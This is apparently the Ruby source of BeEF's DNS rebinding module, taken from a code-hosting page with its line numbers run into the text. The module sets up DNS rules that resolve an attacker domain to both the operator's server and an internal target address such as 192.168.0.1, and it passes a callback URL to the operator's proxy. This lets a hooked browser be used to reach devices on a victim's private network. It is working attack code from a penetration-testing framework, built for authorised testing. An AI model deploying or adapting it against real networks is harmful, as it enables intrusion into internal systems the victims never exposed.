Path: blob/master/modules/network/dns_rebinding/module.rb
1872 views
#1# Copyright (c) 2006-2026 Wade Alcorn - [email protected]2# Browser Exploitation Framework (BeEF) - https://beefproject.com3# See the file 'doc/COPYING' for copying permission4#5class Dns_rebinding < BeEF::Core::Command6def self.options7domain = BeEF::Core::Configuration.instance.get('beef.module.dns_rebinding.domain')8dr_config = BeEF::Core::Configuration.instance.get('beef.extension.dns_rebinding')9url_callback = "http://#{dr_config['address_proxy_external']}:#{dr_config['port_proxy']}"10[{11'name' => 'target',12'value' => '192.168.0.1'13},14{15'name' => 'domain',16'value' => domain17},18{19'name' => 'url_callback',20'value' => url_callback21}]22end2324def pre_send25dns = BeEF::Extension::Dns::Server.instance26dr_config = BeEF::Core::Configuration.instance.get('beef.extension.dns_rebinding')2728addr = dr_config['address_http_external']29domain = BeEF::Core::Configuration.instance.get('beef.module.dns_rebinding.domain')30target_addr = '192.168.0.1'3132target_addr = @datastore[0]['value'] if @datastore[0]33domain = @datastore[1]['value'] if @datastore[1]3435id = dns.add_rule(36pattern: domain,37resource: Resolv::DNS::Resource::IN::A,38response: [addr, target_addr]39)4041dns.remove_rule!(id)4243dns.add_rule(44pattern: domain,45resource: Resolv::DNS::Resource::IN::A,46response: [addr, target_addr]47)48end49end505152